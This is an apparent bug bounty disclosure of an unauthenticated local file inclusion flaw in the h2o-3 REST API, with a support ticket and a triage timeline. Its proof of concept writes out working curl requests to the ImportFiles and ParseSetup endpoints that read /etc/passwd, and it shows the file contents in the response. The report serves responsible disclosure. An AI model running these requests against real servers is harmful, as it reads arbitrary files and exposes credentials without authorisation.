LFI in h2o-3 API in h2oai/h2o-3

Valid

Reported on

Jun 8th 2023


Description

Local file include in h2o-3 REST API. Unauthenticated, remote, no user interaction, default installation.

Proof of Concept

Start the h2o-3 API with:

cd h2o-3.40.0.4
java -jar h2o.jar

Then make these curl requests:

curl -i -s -k -X $'GET' \
    -H $'Host: 127.0.0.1:54321' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0' -H $'Accept: application/json, text/javascript, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Connection: close' -H $'Referer: http://127.0.0.1:54321/flow/index.html' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' \
    $'http://127.0.0.1:54321/3/ImportFiles?path=%2Fetc%2Fpasswd'
curl -i -s -k -X $'POST' \
    -H $'Host: 127.0.0.1:54321' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Length: 50' -H $'Origin: http://127.0.0.1:54321' -H $'Connection: close' -H $'Referer: http://127.0.0.1:54321/flow/index.html' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' \
    --data-binary $'source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D' \
    $'http://127.0.0.1:54321/3/ParseSetup'

The response:

HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Jun 2023 15:10:27 GMT
Cache-Control: no-cache
X-h2o-build-project-version: 3.40.0.4
X-h2o-rest-api-version-max: 3
X-h2o-cluster-id: 1686167537026
X-h2o-cluster-good: true
X-Frame-Options: deny
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self' 'unsafe-eval' 'unsafe-inline'; img-src 'self' data:
Content-Type: application/json
Content-Length: 1457

{"__meta":{"schema_version":3,"schema_name":"ParseSetupV3","schema_type":"ParseSetup"},"_exclude_fields":"","source_frames":[{"__meta":{"schema_version":3,"schema_name":"FrameKeyV3","schema_type":"Key<Frame>"},"name":"nfs://etc/passwd","type":"Key<Frame>","URL":"/3/Frames/nfs://etc/passwd"}],"parse_type":"CSV","separator":32,"single_quotes":false,"check_header":-1,"column_names":null,"skipped_columns":null,"column_types":["String","Enum"],"na_strings":null,"column_name_filter":null,"column_offset":0,"column_count":0,"destination_frame":"passwd.hex","header_lines":0,"number_columns":2,"data":[["nobody:*:-2:-2:Unprivileged","User:/var/empty:/usr/bin/false"],["root:*:0:0:System","Administrator:/var/root:/bin/sh"],["daemon:*:1:1:System","Services:/var/root:/usr/bin/false"],["fakeuser:*:99:99:Fake","User:/Users/danmcinerney/fakeuser:/bin/sh"],["_uucp:*:4:4:Unix","to","Unix","Copy","Protocol:/var/spool/uucp:/usr/sbin/uucico"],["_taskgated:*:13:13:Task","Gate","Daemon:/var/empty:/usr/bin/false"],["_networkd:*:24:24:Network","Services:/var/networkd:/usr/bin/false"],["_installassistant:*:25:25:Install","Assistant:/var/empty:/usr/bin/false"],["_lp:*:26:26:Printing","Services:/var/spool/cups:/usr/bin/false"],["_postfix:*:27:27:Postfix","Mail","Server:/var/spool/postfix:/usr/bin/false"]],"warnings":null,"chunk_size":4194304,"total_filtered_column_count":2,"custom_non_data_line_markers":null,"decrypt_tool":null,"partition_by":null,"escapechar":0}

Developers have been contacted 06/08/2023:

H2O Support
    
Wed, Jun 7, 4:32 PM (18 hours ago)
    
to me

Dear Dan McInerney,

We would like to acknowledge that we have received your request for support and a ticket has been created. A support representative will be reviewing your request and will send you a personal response.
Your ticket id is :  [#105551] 


To view the status of the ticket or add comments, please visit
https://support.h2o.ai/helpdesk/tickets/105551

Your problem description is as below:

The h2o-3 API has an LFI. You can read any file on the filesystem with import and parse commands. By default the API initializes without authentication and is remotely accessible to anyone on the local network, or the world at large if the user publicly exposed the endpoint.





Ticket attachments : 1. lfi id rsa.png
2. Screenshot 2023-06-07 at 4.31.34 PM.png


Thank you for your patience.

Sincerely,
H2O.ai Support Team

Impact

Remotely accessing every file on the API server with the permissions of the user who ran the command.

Occurrences

Not sure this is exactly where it is

We are processing your report and will contact the h2oai/h2o-3 team within 24 hours. 6 months ago
We have contacted a member of the h2oai/h2o-3 team and are waiting to hear back 6 months ago
Dan McInerney modified the Severity from Critical (9.9) to High (8.6) 2 months ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Marcello validated this vulnerability a month ago
Dan McInerney has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Ben Harvie published this vulnerability 20 days ago
to join this conversation